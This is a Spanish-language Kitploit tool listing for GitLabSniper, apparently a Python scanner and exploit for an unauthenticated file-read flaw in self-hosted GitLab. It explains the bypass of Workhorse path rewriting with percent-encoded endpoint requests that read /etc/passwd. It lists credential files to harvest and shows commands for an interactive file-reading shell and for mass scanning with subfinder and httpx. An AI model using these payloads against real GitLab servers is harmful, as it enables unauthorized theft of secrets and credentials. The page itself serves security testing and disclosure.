Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
GitLabSniper — Escáner y exploit de Python en un solo archivo para CVE-2026-85706, una lectura arbitraria de archivos sin autenticación en GitLab CE/EE autogestionado, con enumeración de proyectos, rutas de loot y una shell interactiva. | Kitploit
Herramientas/GitHubGitHub/ynsmroztas/gitlabsniper
ReconocimientoEscáneres de VulnerabilidadesExplotaciónScripting y AutomatizaciónExplotación de Aplicaciones WebExfiltración de DatosRecopilación de InformaciónSeguridad WebPruebas de Penetración
GitHubynsmroztas/gitlabsniper

GitLabSniper

737hace 20 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Escáner y exploit de Python en un solo archivo para CVE-2026-85706, una lectura arbitraria de archivos sin autenticación en GitLab CE/EE autogestionado, con enumeración de proyectos, rutas de loot y una shell interactiva.

Ver Repositorio
Compartir

GitLabSniper — canalización de lectura de archivos no autenticada CVE-2026-85706

GitLabSniper

CVE-2026-85706 — lectura arbitraria de archivos no autenticada en GitLab CE/EE
detección · enumeración de proyectos públicos · recolección · shell interactiva · canalización subfinder/httpx


Autor: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
Sitio: ynsmroztas.github.io
Correo: [email protected]

Úsalo solo en sistemas que poseas o para los que tengas autorización explícita de prueba (bug bounty / VDP / contrato por escrito).


Qué es esto

GitLabSniper.py es un escáner/exploit de Python en un solo archivo para CVE-2026-85706: una lectura de archivos locales no autenticada en instancias autogestionadas de GitLab Community Edition y Enterprise Edition.

No se detiene en "la versión parece afectada". Dispara el bypass de diferencial del parser de Workhorse, clasifica la respuesta de Rails y solo imprime FILE LEAK cuando el cuerpo 400 contiene los bytes del archivo dentro de invalid %-encoding (...).

BandaVersiones
Afectadas18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1
Parcheadas19.1.8 / 19.2.6 / 19.3.2 (2026-09-10)
Fuera de alcancegitlab.com · GitLab Dedicated

Cómo funciona el fallo

Tres endpoints de repositorio están detrás del requestBodyUploader de Workhorse:

  • POST /api/v4/projects/:id/repository/commits
  • POST /api/v4/projects/:id/repository/files/:file_path
  • PUT /api/v4/projects/:id/repository/files/:file_path

Rails toma el campo crudo file.path y ejecuta File.open antes de authenticate!. require_gitlab_workhorse! no es una barrera real aquí: Workhorse ya estampa un JWT válido Gitlab-Workhorse-Api-Request en todo lo que proxya.

Se suponía que Workhorse reescribiría primero la subida. Su regex de ruta coincide con EscapedPath() y un clon de path.Clean que nunca decodifica porcentajes. Puma sí decodifica %XX antes del enrutado de Grape.

Atacante
  POST /api/v4/projects/35/repository/%63ommits
  POST /api/v4/projects/35/repository/commits/          ← la barra final también se cuela
       ?file=&file.path=/etc/passwd&file.size=1
       &Content-Type=application/x-www-form-urlencoded
        │
        ▼
Workhorse     la regex ve "%63ommits" / "commits/"  → FALLO  (sin reescritura)
        │
        ▼
Puma          decodifica %63 → commits              → ENRUTA a Rails
        │
        ▼
Rails         File.open(params[:file][:path])       → ANTES de auth
        │
        ▼
Rack          parse_nested_query(File.read(path))
              "%" suelto que no es %HH
        │
        ▼
HTTP 400      Invalid parameter: invalid %-encoding (<bytes crudos del archivo>)

file= en blanco satisface requires :file, WorkhorseFile (en blanco → nil). El canal de fuga es la rama urlencoded. JSON/Oj no devuelve los bytes del archivo de la misma forma — la herramienta siempre envía Content-Type=application/x-www-form-urlencoded.

//, /./, %2F y ; no evaden: path.Clean normaliza los dos primeros y Puma rechaza %2F.

El id del proyecto no es "de qué repo robar archivos". file.path es una ruta absoluta del servidor. El id es solo la pieza de la URL que llega al controlador vulnerable.

EndpointRequisito de proyecto
files (%66iles)Cualquier id suele funcionar — File.open es antes de las comprobaciones de proyecto
commits (%63ommits, commits/, commits.json)Necesita un proyecto que un usuario anónimo pueda read_code. De lo contrario 404 Project Not Found

Por eso la herramienta enumera GET /api/v4/projects y omite los ids restringidos.

Una fuga confirmada requiere esta subcadena en el cuerpo:

invalid %-encoding (

Los archivos sin un % solitario aún pueden abrirse (read-noecho / más tarde branch is required) pero no se reflejarán. Eso es un oráculo, no un volcado reportable.


Características

  • Fingerprint de GitLab (HTML / x-gitlab-* / sign-in) + rango de versión cuando es visible
  • Enumeración de proyectos públicos (GET /api/v4/projects)
  • Selección automática de un id de proyecto no restringido (fallback 1..7)
  • Matriz de bypass de Workhorse
    • %63ommits · %72epository · %66iles
    • barra final / · .json
    • POST + PUT en files
  • Clasificador de respuestas: leak · leak-fragment · read-noecho · missing · project-gate · rewrite · noroute
  • Lista de recolección --auto (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, claves ssh, environ)
  • Formulario funcional fijo tras la primera fuga
  • Shell interactiva (cat, loot, secrets, passwd, project <id>, curl)
  • Canalización: hosts crudos, httpx -sc -td -title, httpx -json, ANSI eliminado
  • Informe JSON / JSONL (-o)
  • Banner HIT coloreado + PoC curl listo para pegar

Instalación

pip install requests
python3 GitLabSniper.py -h

Python 3.10+. Sin otras dependencias.


Uso

Host único

python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto

Shell interactiva

python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit

Canalización (subfinder + httpx)

subfinder -d example.com -silent \
  | httpx -silent -sc -td -title \
  | python3 GitLabSniper.py --pipe --auto -o hits.jsonl

subfinder -d example.com -silent \
  | httpx -silent -json \
  | python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl

# stdin no es un TTY → --pipe está implícito
cat hosts.txt | python3 GitLabSniper.py --auto

El parser acepta:

  • https://gitlab.example.com
  • https://gitlab.example.com [200] [GitLab] [nginx]
  • objetos de httpx -json (url / status_code)
  • host y host:port sin formato
  • omite filas [0] / timeout / vacías

Opciones

Descargar herramienta